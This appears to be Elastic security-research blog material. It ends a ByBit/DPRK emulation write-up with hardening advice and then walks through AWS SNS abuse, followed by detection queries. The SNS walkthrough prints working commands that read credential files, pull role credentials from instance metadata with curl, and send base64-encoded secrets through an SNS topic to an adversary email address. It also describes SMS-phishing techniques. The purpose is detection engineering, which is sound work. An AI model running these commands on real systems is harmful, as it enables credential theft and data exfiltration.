Social engineering plays a major role in many intrusions, but especially with the DPRK. They are highly adept at targeting and approaching their victims utilizing trusted public platforms like LinkedIn, Telegram, X or Discord to initiate contact and appear legitimate. Many of their social engineering campaigns attempt to convince the user to download and execute some kind of project, application or script whether it be out of necessity (job application), distress (debugging assistance) etc.. Mitigation of targeting that leverage social engineering is difficult and takes a concerted effort by a company to ensure their employees are regularly trained to recognize these attempts, applying the proper skepticism and caution when engaging outside entities and even the open source communities.

• User Awareness Training
• Manual Static Code Review
• Static Code and Dependency Scanning

Bandit (GitHub - PyCQA/bandit: Bandit is a tool designed to find common security issues in Python code.) is a great example of an open source tool a developer could use to scan the Python application and its scripts prior to execution in order to surface common Python security vulnerabilities or dangerous issues that may be present in the code.

Application and Device Management

Application controls via a device management solution or a binary authorization framework like the open source tool Santa (GitHub - northpolesec/santa: A binary and file access authorization system for macOS.) could have been used to enforce notarization and block execution from suspicious paths. This would have prevented the execution of the Poseidon payload dropped to the system for persistence, and could have prevented access to sensitive files.

EDR/XDR

To effectively defend against nation-state threats—and the many other attacks targeting macOS—it's critical to have an EDR solution in place that provides rich telemetry and correlation capabilities to detect and prevent script-based attacks. Taking it a step further, an EDR platform like Elastic allows you to ingest AWS logs alongside endpoint data, enabling unified alerting and visibility through a single pane of glass. When combined with AI-powered correlation, this approach can surface cohesive attack narratives, significantly accelerating response and improving your ability to act quickly if such an attack occurs.

AWS Credential Exposure and Session Token Hardening

In this attack, the adversary leveraged a stolen AWS user session token (with the ASIA* prefix), which had been issued via the GetSessionToken API using MFA. These credentials were likely retrieved from the macOS developer environment — either from exported environment variables or default AWS config paths (e.g., ~/.aws/credentials).

To mitigate this type of access, organizations can implement the following defensive strategies:

1. Reduce Session Token Lifetimes and Move Away from IAM Users: Avoid issuing long-lived session tokens to IAM users. Instead, enforce short token durations (e.g., 1 hour or less) and adopt AWS SSO (IAM Identity Center) for all human users. This makes session tokens ephemeral, auditable, and tied to identity federation. Disabling sts:GetSessionToken permissions for IAM users altogether is the strongest approach, and IAM Identity Center allows this transition.
2. Enforce Session Context Restrictions for IAM API Usage: Implement IAM policy condition blocks that explicitly deny sensitive IAM operations, such as iam:CreateVirtualMFADevice or iam:AttachUserPolicy, if the request is made using temporary credentials. This ensures that session-based keys, such as those used in the attack, cannot escalate privileges or modify identity constructs.
3. Limit MFA Registration to Trusted Paths: Block MFA device creation (CreateVirtualMFADevice, EnableMFADevice) via session tokens unless coming from trusted networks, devices, or IAM roles. Use aws:SessionToken or aws:ViaAWSService as policy context keys to enforce this. This would have prevented the adversary from attempting MFA-based persistence using the hijacked session.

S3 Application Layer Hardening (Frontend Tampering)

After obtaining the AWS session token, the adversary did not perform any IAM enumeration — instead, they pivoted quickly to S3 operations. Using the AWS CLI and temporary credentials, they listed S3 buckets and modified static frontend JavaScript hosted on a public S3 bucket. This allowed them to replace the production Next.js bundle with a malicious variant designed to redirect transactions based on specific wallet addresses.

To prevent this type of frontend tampering, implement the following hardening strategies:

1. Enforce Immutability with S3 Object Lock: Enable S3 Object Lock in compliance or governance mode on buckets hosting static frontend content. This prevents overwriting or deletion of files for a defined retention period - even by compromised users. Object Lock adds a strong immutability guarantee and is ideal for public-facing application layers. Access to put new objects (rather than overwrite) can still be permitted via deployment roles.
2. Implement Content Integrity with Subresource Integrity (SRI): Include SRI hashes (e.g., SHA-256) in the <script> tags within index.html to ensure the frontend only executes known, validated JavaScript bundles. In this attack, the lack of integrity checks allowed arbitrary JavaScript to be served and executed from the S3 bucket. SRI would have blocked this behavior at the browser level.
3. Restrict Upload Access Using CI/CD Deployment Boundaries: Developers should never have direct write access to production S3 buckets. Use separate AWS accounts or IAM roles for development and CI/CD deployment. Only OIDC-authenticated GitHub Actions or trusted CI pipelines should be permitted to upload frontend bundles to production buckets. This ensures human credentials, even if compromised, cannot poison production.
4. Lock Access via CloudFront Signed URLs or Use S3 Versioning: If the frontend is distributed via CloudFront, restrict access to S3 using signed URLs and remove public access to the S3 origin. This adds a proxy and control layer. Alternatively, enable S3 versioning and monitor for overwrite events on critical assets (e.g., /static/js/*.js). This can help detect tampering by adversaries attempting to replace frontend files.

Attack Discovery (AD)

After completing the end-to-end attack emulation, we tested Elastic’s new AI Attack Discovery feature to see if it could connect the dots between the various stages of the intrusion. Attack Discovery integrates with an LLM of your choice to analyze alerts across your stack and generate cohesive attack narratives. These narratives help analysts quickly understand what happened, reduce response time, and gain high-level context. In our test, it successfully correlated the endpoint compromise with the AWS intrusion, providing a unified story that an analyst could use to take informed action.

OSQuery

When running Elastic Defend through Elastic Agent, you can also deploy the OSQuery Manager integration to centrally manage Osquery across all agents in your Fleet. This enables you to query host data using distributed SQL. During our testing of the Dockerized malicious application, we used OSQuery to inspect the endpoint and successfully identified the container running with privileged permissions.

SELECT name, image, readonly_rootfs, privileged FROM docker_containers

We scheduled this query to run on a recurring basis, sending results back to our Elastic Stack. From there, we built a threshold-based detection rule that alerts whenever a new privileged container appears on a user’s system and hasn’t been observed in the past seven days.

Conclusion

The ByBit attack was one of the most consequential intrusions attributed to DPRK threat actors—and thanks to detailed reporting and available artifacts, it also provided a rare opportunity for defenders to emulate the full attack chain end to end. By recreating the compromise of a SAFE developer’s macOS workstation—including initial access, payload execution, and AWS pivoting—we validated our detection capabilities against real-world nation-state tradecraft.

This emulation not only highlighted technical insights—like how PyYAML deserialization can be abused to gain initial access—but also reinforced critical lessons in operational defense: the value of user awareness, behavior-based EDR coverage, secure developer workflows, effective cloud IAM policies, cloud logging and holistic detection/response across platforms.

Adversaries are innovating constantly, but so are defenders—and this kind of research helps tip the balance. We encourage you to follow @elasticseclabs and check out our threat research at elastic.co/security-labs to stay ahead of evolving adversary techniques.

Resources:

1. Bybit – What We Know So Far
2. Safe.eth on X: "Investigation Updates and Community Call to Action"
3. Cryptocurrency APT Intelligence: Unveiling Lazarus Group’s Intrusion Techniques
4. Slow Pisces Targets Developers With Coding Challenges and Introduces New Customized Python Malware
5. Code of Conduct: DPRK’s Python-fueled intrusions into secured networks
6. Elastic catches DPRK passing out KANDYKORN

Welcome to another installment of AWS detection engineering with Elastic. This article will dive into both how threat adversaries (TA) leverage AWS’ Simple Notification Service (SNS) and how to hunt for indicators of abuse using that data source.

Expect to learn about potential techniques threat adversaries may exercise in regards to SNS. We will also explore security best practices, hardening roles and access, as well as how to craft threat detection logic for SNS abuse.

This research was the result of a recent internal collaboration that required us to leverage SNS for data exfiltration during a whitebox exercise. During this collaboration, we became intrigued by how a simple publication and subscription (pub/sub) service could be abused by adversaries to achieve various actions on objectives. We dug into publicly known SNS abuse attempts and our knowledge of the data source to assemble this research about detection opportunities.

Do enjoy!

Understanding AWS SNS

Before we get started on the details, let’s discuss what AWS SNS is to have a basic foundational understanding.

AWS SNS is a web service that allows users to send and receive notifications from the cloud. Think of it like a news feed service where a digital topic is created, those who are interested with updates subscribe via email, slack, etc. and when data is published to that topic, all subscribers are notified and receive it. This describes what is commonly referred to as a pub/sub service provided commonly by cloud service providers (CSP). In Azure, this is offered as Web PubSub, whereas GCP offers Pub/Sub. While the names of these services may slightly differ from platform to platform, the utility and purpose do not.

SNS provides two workflows, application-to-person (A2P) , and application-to-application (A2A) that serve different purposes. A2P workflows focus more on integral operation with AWS services such as Firehose, Lambda, SQS and more. However, for this article we are going to focus our attention on A2P workflows. As shown in the diagram below, an SNS topic is commonly created, allowing subscribers to leverage SMS, email or push notifications for receiving messages.

Additional Features:

Filter Policies: Subscribers can define filtering rules to receive only a relevant subset of messages if they choose. These filter policies are defined in JSON format; specifying which attributes of a message the subscriber is interested in. SNS evaluates these policies server-side before delivery to determine which subscribers the messages should be sent to.

Encryption: SNS leverages server-side encryption (SSE) using AWS Key Management Service (KMS) to secure messages at rest. When encryption is enabled, messages are encrypted before being stored in SNS and then decrypted upon delivery to the endpoint. This is of course important for maintaining the security of Personal Identifiable Information (PII) or other sensitive data such as account numbers. Not to fear, although SNS only encrypts at rest, other protocols (such as HTTPS) handle encryption in transit, making it end-to-end (E2E).

Delivery Retries and Dead Letter Queues (DLQs): SNS automatically retries message delivery to endpoints, such as SQS, Lambda, etc. in case of unexpected failures. However, messages that fail to deliver ultimately reside in DLQs, which is typically an AWS SQS queue enabling debugging for developers.

Scalability: AWS SNS is designed to handle massive message volumes, automatically scaling to accommodate increasing traffic without manual intervention. There are no upfront provisioning requirements, and you pay only for what you use, making it cost-effective for most organizations.

AWS SNS is a powerful tool for facilitating communication in cloud environments. For a deeper understanding, we recommend diving into the existing documentation from AWS. However, its versatility and integration capabilities also make it susceptible to abuse. In the next section, we explore some scenarios where adversaries might leverage SNS for malicious purposes.

Whitebox Testing

Whitebox testing involves performing atomic emulations of malicious behavior in a controlled environment, with full visibility into the vulnerable or misconfigured infrastructure and its configurations. This approach is commonly employed in cloud environments to validate detection capabilities during the development of threat detection rules or models targeting specific tactics, techniques, and procedures (TTPs).. Unlike endpoint environments, where adversary simulations often involve detonating malware binaries and tools, cloud-based TTPs typically exploit existing API-driven services through "living-off-the-cloud" techniques, making this approach essential for accurate analysis and detection.

Data Exfiltration via SNS

Exfiltration via SNS starts with creating a topic that serves as a proxy for receiving stolen data and delivering it to the external media source, such as email or mobile. Adversaries would then subscribe that media source to the topic so that any data received is forwarded to them. After this is staged, it is only a matter of packaging data and publishing it to the SNS topic, which handles the distribution. This method allows adversaries to bypass traditional data protection mechanisms such as network ACLs, and exfiltrate information to unauthorized external destinations.

Example Workflow:

• Land on EC2 instance and perform discovery of sensitive data, stage it for later
• Leverage IMDSv2 and STS natively with the installed AWS CLI to get temporary creds
• Create a topic in SNS and attach an external email address as a subscriber
• Publish sensitive information to the topic, encoded in Base64 (or plaintext)
• The external email address receives the exfiltrated data

Infrastructure Setup

For the victim infrastructure, we’ll use our preferred infrastructure-as-code (IaC) framework, Terraform.

A public gist has been created, containing all the necessary files to follow this example.. In summary, these Terraform configurations deploy an EC2 instance in AWS within a public subnet. The setup includes a user-data script that adds dummy credentials for sensitive data as environment variables, and installs the AWS CLI to emulate a compromised environment. Additionally, the EC2 instance is assigned an IAM role with permissions for sns:Publish, sns:Subscribe and sns:CreateTopic.

There are several potential ways an adversary might gain initial access to this EC2 instance, including exploiting vulnerable web applications for web shell deployment, using stolen SSH credentials, password spraying or credential stuffing. Within this particular example scenario; let’s assume the attacker gained initial entry via a vulnerable web application, and subsequently uploaded a web shell. The next goal in this case would be persistence via credential access.. This is commonly seen in-the-wild when adversaries target popular 3rd-party software or web apps such as Oracle WebLogic, Apache Tomcat, Atlassian Confluence, Microsoft Exchange and much more.

To get started, download the Terraform files from the gist.

1. Adjust the variables in the variables.tf file to match your setup.
   1. Add your whitelisted IPv4 addressfor trusted_ip_cidr
   2. Add your local SSH key file path to public_key_path
   3. Ensure the ami_id.default is the correct AMI-ID for your region
2. Run terraform init in the folder to initialize the working directory.

When ready, run terraform apply to deploy the infrastructure.

A few reminders:

• Terraform uses your AWS CLI default profile, so ensure you’re working with the correct profile in your AWS configuration.
• The provided AMI ID is specific to the us-east-1 region. If you're deploying in a different region, update the AMI ID accordingly in the variables.tf file.
• Change trusted_ip_cidr.default in variables.tf from 0.0.0.0/0 (any IP) to your publicly known CIDR range.

Terraform apply output

Let’s SSH into our EC2 instance to ensure that our sensitive credentials were created from the user-data script. Note in the outputs.tf file, we ensured that the SSH command would be generated for us based on the key path and public IP of our EC2 instance.

With this infrastructure staged and confirmed, we can then move on to practical execution.

The Workflow in Practice: Exfiltrating Sensitive Credentials

Let’s step through this workflow in practice, now that our infrastructure is established. As a reminder, the goal of our opportunistic adversary is to check for local credentials, grab what they can and stage the sensitive data locally. Since landing on this EC2 instance, we have identified the AWS CLI exists, and identified we have SNS permissions. Thus, we plan to create a SNS topic, register an external email as a subscriber and then exfiltrateour stolen credentials and other data as SNS messages.

Note: While this example is extremely simple, the goal is to focus on SNS as a methodology for exfiltration. The exact circumstances and scenario will differ depending on the specific infrastructure setup of the victim.

Identify and Collect Credentials from Common Locations:
Our adversary will target GitHub credentials files and .env files locally with some good ol’ fashioned Bash scripting. This will take the credentials from these files and drop them into the /tmp temporary folder, staging them for exfiltration.

Command: cat /home/ubuntu/.github/credentials /home/ubuntu/project.env > /tmp/stolen_creds.txt

Stage Exfiltration Method by Creating SNS Topic
Let’s leverage the existing AWS CLI to create the SNS topic. As a reminder, this EC2 instance assumes the custom IAM role we created and attached, which allows it to create SNS topics and publish messages. Since the AWS CLI is pre-installed on our EC2 instance, it will retrieve temporary credentials from IMDSv2 for the assumed role when invoked. However, if this were not the case, an adversary could retrieve credentials natively with the following bash code.

# Fetch the IMDSv2 token
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Get the IAM role name
ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)

# Fetch the temporary credentials
CREDENTIALS=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)

# Extract the Access Key, Secret Key, and Token
AWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKeyId')
AWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.SecretAccessKey')
AWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.Token')

Once this is complete, let’s attempt to create our SNS topic and the email address that will be used as our external receiver for the exfiltrated data.

Create Topic Command: TOPIC_ARN=$(aws sns create-topic --name "whitebox-sns-topic" --query 'TopicArn' --output text)

Subscribe Command: aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol email --notification-endpoint "adversary@protonmail.com"

As shown above after the commands are run, we can then navigate to the inbox of the external email address to confirm subscription. Once confirmed, our external email address will now receive any messages sent to the whitebox-sns-topic topic which we plan to use for exfiltration.

Exfiltrate Data via SNS Publish
At this point, we have gained access to an EC2 instance, snooped around to understand our environment, identified some services for abuse and some credentials that we want to obtain. Note that our previous steps could all have been accomplished via a simple Bash script that could be dropped on the compromised EC2 instance via our webshell, but this is broken down into individual steps for example purposes..

Next, we can take the data we stored in /tmp/stolen_creds.txt, base64 encode it and ship it to our adversary controlled email address via SNS.

Commands:

• Base64 encode contents: BASE64_CONTENT=$(base64 /tmp/stolen_creds.txt)
• Publish encoded credentials to our topic: aws sns publish --topic-arn "$TOPIC_ARN" --message "$BASE64_CONTENT" --subject "Encoded Credentials from EC2"

Once completed, we can simply check our inbox for these exfiltrated credentials.

Taking the payload from our message, we can decode it to see that it represents the credentials we found lying around on the EC2 instance.

As many adversaries may attempt to establish persistence or laterally move throughout the AWS environment and services, they would then be able to rely on this SNS topic to exfiltrate data for as long as permissions were in scope for the IAM user or role. Additionally, they could set up a recurring job that scans for data on this EC2 instance and continually exfiltrates anything interesting over time. There are many practical options in this scenario for additional chaining that could be done.

Before continuing, we encourage you to use the following command to destroy your infrastructure once logging out of the SSH connection: terraform destroy --auto-approve

Challenges for Adversaries:

Of course, there are many uncertaintiesin any whitebox testing that may prove as roadblocks or hurdles for a TA, both advanced and immature in knowledge, skills and abilities. It is also very dependent on the configuration and environment of the potential victim. Below are additional challenges that adversaries would face.

Initial Access: Gaining initial access to the EC2 instance is often the biggest hurdle. This could involve exploiting a vulnerable web application or 3rd-party service, using stolen SSH credentials, password spraying or credential stuffing, or leveraging other means such as social engineering or phishing. Without initial access, the entire attack chain is infeasible.

Establishing an Active Session: After gaining access, maintaining an active session can be difficult, especially if the environment includes robust endpoint protection or regular reboots that clear unauthorized activity. Adversaries may need to establish a persistent foothold using techniques like a webshell, reverse shell or an automated dropper script.

AWS CLI Installed on the Instance: The presence of the AWS CLI on a public-facing EC2 instance is uncommon and not considered a best practice. Many secure environments avoid pre-installing the AWS CLI, forcing adversaries to bring their own tools or rely on less direct methods to interact with AWS services.

IAM Role Permissions: The IAM role attached to the EC2 instance must include permissive policies for SNS actions (sns:Publish, sns:Subscribe, sns:CreateTopic, sts:GetCallerIdentity). Many environments restrict these permissions to prevent unauthorized use, and misconfigurations are often necessary for the attack to succeed. Best security practices such as principle-of-least-privilege (PoLP) would ensure the roles are set up with only necessary permissions.

Execution of Malicious Scripts: Successfully executing a script or running commands without triggering alarms (e.g., CloudTrail, GuardDuty, EDR agents) is a challenge. Adversaries must ensure their activities blend into legitimate traffic or use obfuscation techniques to evade detection.

Advantages for Adversaries

Of course, while there are challenges for the adversary with these techniques, let’s consider some crucial advantages that they may have as well.

• Blending In with Native AWS Services: By leveraging AWS SNS for data exfiltration, the adversary's activity appears as legitimate usage of a native AWS flagship service. SNS is commonly used for notifications and data dissemination, making it less likely to raise immediate suspicion.
• Identity Impersonation via IAM Role: Actions taken via the AWS CLI are attributed to the IAM role attached to the EC2 instance. If the role already has permissions for SNS actions and is used regularly for similar tasks, adversarial activity can blend seamlessly with expected operations.
• No Concerns with Security Groups or Network ACLs: Since SNS communication occurs entirely within the confines of AWS, there’s no reliance on security group or Network ACL configurations. This bypasses traditional outbound traffic controls, ensuring the adversary's data exfiltration attempts are not blocked.
• Lack of Detections for SNS Abuse: Abuse of SNS for data exfiltration is under-monitored in many environments. Security teams may focus on more commonly abused AWS services (e.g., S3 or EC2) and lack dedicated detections or alerts for unusual SNS activity, such as frequent topic creation or large volumes of published messages.
• Minimal Footprint with Non-Invasive Commands: Local commands used by the adversary (e.g., cat, echo, base64) are benign and do not trigger endpoint detection and response (EDR) tools typically. These commands are common in legitimate administrative tasks, allowing adversaries to avoid detection on backend Linux systems.
• Efficient and Scalable Exfiltration: SNS enables scalable exfiltration by allowing adversaries to send large amounts of data to multiple subscribers. Once set up, the adversary can automate periodic publishing of sensitive information with minimal additional effort.
• Persistent Exfiltration Capabilities: As long as the SNS topic and subscription remain active, the adversary can use the infrastructure for ongoing exfiltration. This is especially true if the IAM role retains its permissions and no proactive monitoring is implemented.
• Bypassing Egress Monitoring and DLP: Since the data is exfiltrated through SNS within the AWS environment, it bypasses traditional egress monitoring or data loss prevention solutions that focus on outbound traffic to external destinations.

In-the-Wild Abuse

While whitebox scenarios are invaluable for simulating potential adversarial behaviors, it is equally important to ground these simulations with in-the-wild (ItW) threats. To this end, we explored publicly available research and identified a key article from SentinelOne describing a spam messaging campaign that leveraged AWS SNS. Using insights from this research, we attempted to replicate these techniques in a controlled environment to better understand their implications.

Although we will not delve into the attribution analysis outlined in SentinelOne’s research, we highly recommend reviewing their work for a deeper dive into the campaign’s origins. Instead, our focus is on the tools and techniques employed by the adversary to abuse AWS SNS for malicious purposes.

Smishing and Phishing

Compromised AWS environments with pre-configured SNS services can serve as launchpads for smishing (SMS phishing) or phishing attacks. Adversaries may exploit legitimate SNS topics and subscribers to distribute fraudulent messages internally or externally, leveraging the inherent trust in an organization’s communication channels.

As detailed in SentinelOne’s blog, the adversary employed a Python-based tool known as SNS Sender. This script enabled bulk SMS phishing campaigns by interacting directly with AWS SNS APIs using compromised AWS credentials. These authenticated API requests allowed the adversary to bypass common safeguards and send phishing messages in mass..

The SNS Sender script leverages valid AWS access keys and secrets to establish authenticated API sessions via the AWS SDK. Armed with these credentials, adversaries can craft phishing workflows that include:

1. Establishing authenticated SNS API sessions via the AWS SDK.
2. Enumerating and targeting lists of phone numbers to serve as phishing recipients.
3. Utilizing a pre-registered Sender ID (if available) for spoofing trusted entities.
4. Sending SMS messages containing malicious links, often impersonating a legitimate service.

Elastic Security Labs predicts that the use of one-off or commercially available tools for abusing cloud services, like SNS Sender, will continue to grow as a research focus. This underscores the importance of understanding these tools and their impact on cloud security.

Weaponization and Pre-Testing Considerations

To successfully execute a phishing campaign at scale using AWS SNS, the adversary would have needed access to an already registered AWS End User Messaging organization. AWS restricts new accounts to SNS Sandbox Mode, which limits SMS sending to manually verified phone numbers. To bypass sandbox restrictions, adversaries would need access to an account already approved for production SMS messaging. The process of testing and weaponization would have required several key steps.

A fully configured AWS End User Messaging setup would require:

• An established origination identity (which includes a long code, toll-free number, or short code).
• Regulatory approval through a brand registration process.
• Carrier pre-approval for high-volume SMS messaging.

Without these pre-registered identifiers, AWS SNS messages may be deprioritized, blocked, or fail to send.

Before deploying a large-scale attack, adversaries would likely test SMS delivery using verified phone numbers within AWS SNS Sandbox Mode. This process requires:

• Manually verifying phone numbers before sending messages.
• Ensuring their carrier allows AWS SNS sandbox messages, as some (like T-Mobile and Google Voice) frequently block AWS SNS sandbox verification SMS.
• Testing delivery routes across different AWS regions to identify which countries permit custom Sender IDs or allow non-sandbox messages.

If an attacker’s test environment failed to receive SNS verification OTPs, they would likely pivot to a different AWS account or leverage a compromised AWS account that already had production-level messaging permissions.

In addition to this, the adversary would likely prioritize transactional messages over promotional. Transactional messages are prioritized by AWS (OTPs, security alerts, etc.) - whereas promotional messages are lower priority and may be filtered or blocked by certain carriers.

If adversaries cannot override message type defaults, their phishing messages may be deprioritized or rejected by AWS, which could be a hurdle.

Registered Origination Identity & Sender ID (If Supported)

AWS requires brand registration and origination identity verification for businesses sending high-volume SMS messages. Depending on the region and carrier, adversaries may be able to exploit different configurations:

• Sender ID Abuse: In some non-U.S. regions, adversaries could register a Sender ID to make phishing messages appear from a trusted entity. This may allow for spoofing banks, shipping companies, or government agencies, making the phishing attempt more convincing.
• Long Code & Toll-Free Exploitation: AWS SNS assigns long codes (standard phone numbers) or toll-free numbers for outbound SMS. Toll-free numbers require registration but could still be abused if an adversary compromises an AWS account with an active toll-free messaging service.
• Short Code Restrictions: High-throughput short codes (5- or 6-digit numbers) are often carrier-controlled and require additional vetting, making them less practical for adversaries.

Infrastructure Setup

By default, AWS accounts that have not properly configured the End User Messaging service are restricted to an SMS sandbox. This sandbox allows developers to test SMS functionality by sending messages to verified phone numbers. However, as we discovered, the process of verifying numbers in the sandbox is fraught with challenges.

Despite repeated attempts to register phone numbers with the sandbox, we found that verification messages (OTP codes) failed to arrive at endpoints across various carriers and services, including Google Voice and Twilio. This suggests that mobile carriers may block these sandbox-originated messages, effectively stalling the verification process but ultimately blocking us from emulating the behavior.

For production use, migrating from the sandbox requires a fully configured AWS End User Messaging service. This includes:

• A legitimate Sender ID.
• A phone pool for failovers.
• Origination identity.
• Brand registration for regulatory compliance.

This setup aligns with the requirements of the SNS Sender script and represents an ideal environment for adversaries. The use of a Sender ID, which relies on a pre-established origination identity and brand registration, allows phishing messages to appear as though they originate from a reputable organization. This reduces the likelihood of detection or carrier-level blocking, increasing the success rate of the campaign.

The requirements for this attack suggests adversaries are likely to target companies that use AWS End User Messaging for automated SMS alerts and messaging. Industries such as logistics and delivery services, e-commerce platforms, and travel and hospitality are prime targets due to their reliance on automated SMS notifications.

On the recipient's side, the phishing message appears as if it originates from a trusted entity, bypassing carrier alarms and evading suspicion.

During our testing, we encountered unexpected behavior with logging in CloudTrail when attempting to use the script and AWS CLI to send SMS messages directly through SNS. Failed message delivery attempts did not appear in CloudTrail logs as expected.

Although the Publish API call is generally logged in CloudTrail (provided data plane events are enabled), it remains unclear if the absence of logs for failed attempts was due to inherent SNS behavior or misconfiguration on our part. This gap highlights the need for deeper investigation into how failed SNS Publish requests are handled by AWS and whether additional configurations are required to capture these events reliably.

As a result, we determined it would be best to include a threat hunting query for this rather than a detection rule due to the inability to fully replicate the adversary behavior, reliance on pre-established and registered brands and origination identity, in full.

Detection and Hunting Opportunities

For detection and hunting, CloudTrail audit logs provide enough visibility for the subsequent API calls from this activity. They also include enough contextual information to help aid with a higher fidelity of these anomalous signals. The following detections and hunting queries will leverage CloudTrail data ingested into our Elastic stack with the AWS CloudTrail integration, however they should be translatable to the SIEM of your choice if needed. For this activity, we focus solely on assumed roles, specifically those with EC2 instances being abused but this could take place elsewhere in AWS environments.

SNS Topic Created by Rare User

Detection Rule Source
Hunting Query Source
MITRE ATT&CK: T1608

Identifies when an SNS topic is created by a rare AWS user identity ARN (IAM User or Role). This detection leverages Elastic’s New Terms type rules to identify when the first occurrence of a user identity ARN creates an SNS topic. It would be awfully unusual for an assumed role, typically leveraged for EC2 instances to be creating SNS topics.

Our query leverages KQL and New Terms rule type to focus on topics created by an Assumed Role specifically for an EC2 instance.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Publish"
    and aws.cloudtrail.user_identity.type: "AssumedRole"
    and aws.cloudtrail.user_identity.arn: *i-*

Hunting Query (ES|QL)

Our hunting query focuses on the CreateTopic API action from an entity whose identity type is an assumed role. We also parse the ARN to ensure that it is an EC2 instance this request is sourcing from. We can then aggregate on cloud account, entity (EC2 instance ID), assumed role name, region and user agent. If it is unusual for the EC2 instance reported to be creating SNS topics randomly, then it may be a good anomalous signal to investigate.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish"
    and aws.cloudtrail.user_identity.type == "AssumedRole"
| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}"
| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE STARTS_WITH(entity, "i-")
| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name
| SORT regional_topic_publish_count ASC

Hunting Notes:

• It is unusual already for credentials from an assumed role for an EC2 instance to be creating SNS topics randomly.
• If a user identity access key (aws.cloudtrail.user_identity.access_key_id) exists in the CloudTrail audit log, then this request was accomplished via the CLI or programmatically. These keys could be compromised and warrant further investigation.
• An attacker could pivot into Publish API actions being called to this specific topic to identify which AWS resource is publishing messages. With access to the topic, the attacker could then further investigate the subscribers list to identify unauthorized subscribers.

SNS Topic Subscription with Email by Rare User

Detection Rule Source
Hunting Query Source
MITRE ATT&CK: T1567, T1530

Identifies when an SNS topic is subscribed to by a rare AWS user identity ARN (IAM User or Role). This detection leverages Elastic’s New Terms type rules to identify when the first occurrence of a user identity ARN attempts to subscribe to an existing SNS topic.The data exfiltration which took place during our whitebox testing example above would have been caught by this threat hunt; an alert would have been generated when we establish an SNS subscription to an external user.

Further false-positive reductions could be obtained by whitelisting expected organization TLDs in the requested email address if the topic is meant for internal use only.

Our query leverages KQL and New Terms rule type to focus on subscriptions that specify an email address. Unfortunately, CloudTrail redacts the email address subscribed or this would be vital for investigation.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Subscribe"
    and aws.cloudtrail.request_parameters: *protocol=email*

New Terms value: aws.cloudtrail.user_identity.arn

Hunting Query (ES|QL)

Our hunting query leverages ES|QL but parses the Subscribe API action parameters to filter further on the email protocol being specified. It also parses out the name of the user-agent, but relies further on aggregations to potentially identify other anomalous user-agent attributes. We've also included the region where the subscription occurred, as it may be uncommon for certain regions to be subscribed to others, depending on the specific business context of an organization.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Subscribe"
| DISSECT aws.cloudtrail.request_parameters "%{?protocol_key}=%{protocol}, %{?endpoint_key}=%{redacted}, %{?return_arn}=%{return_bool}, %{?topic_arn_key}=%{topic_arn}}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE protocol == "email"
| STATS regional_topic_subscription_count = COUNT(*) by aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name
| WHERE regional_topic_subscription_count == 1
| SORT regional_topic_subscription_count ASC

Hunting Notes:

• If a user identity access key (aws.cloudtrail.user_identity.access_key_id) exists in the CloudTrail audit log, then this request was accomplished via the CLI or programmatically. These keys could be compromised and warrant further investigation.
• Ignoring the topic ARN during aggregation is important to identify first occurrence anomalies of subscribing to SNS topic with an email. By not grouping subscriptions by topic ARN, we ensure that the query focuses on detecting unexpected or infrequent subscriptions only, regardless of specific topics already established.
• Another query may be required with the user identity ARN as an inclusion filter to identify which topic they subscribed to.
• If an anomalous user-agent name is observed, a secondary investigation into the user-agent string may be required to determine if it's associated with automated scripts, uncommon browsers, or mismatched platforms. While it is simple to fake these, adversaries have been known not to for undisclosed reasons.

SNS Topic Message Published by Rare User

Detection Rule Source
Hunting Query Source

Identifies when a message is published to an SNS topic from an unusual user identity ARN in AWS. If the role or permission policy does not practice PoLP, publishing to SNS topics may be allowed and thus abused. For example, default roles supplied via AWS Marketplace that allow publishing to SNS topics. It may also identify rogue entities that once were pushing to SNS topics but no longer are being abused if credentials are compromised. Note that this focuses solely on EC2 instances, but you could adjust to account for different publish anomalies based on source, region, user agent and more.

Our query leverages KQL and New Terms rule type to focus on subscriptions that specify an email address. Unfortunately, CloudTrail redacts the email address subscribed, as this would be a vital asset for investigation.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Publish"
    and aws.cloudtrail.user_identity.type: "AssumedRole"
    and aws.cloudtrail.user_identity.arn: *i-*

New Terms value: aws.cloudtrail.user_identity.arn

Hunting Query (ES|QL)

Our hunting query leverages ES|QL and also focused on SNS logs where the API action is Publish. This only triggers if the user identity type is an assumed role and the user identity ARN is an EC2 instance ID. Aggregating on account ID, entity, assumed role, SNS topic and region help us identify any further anomalies based on expectancy of this activity. We can leverage the user agent to identify these calls being made by unusual tools or software as well.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish"
    and aws.cloudtrail.user_identity.type == "AssumedRole"
| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}"
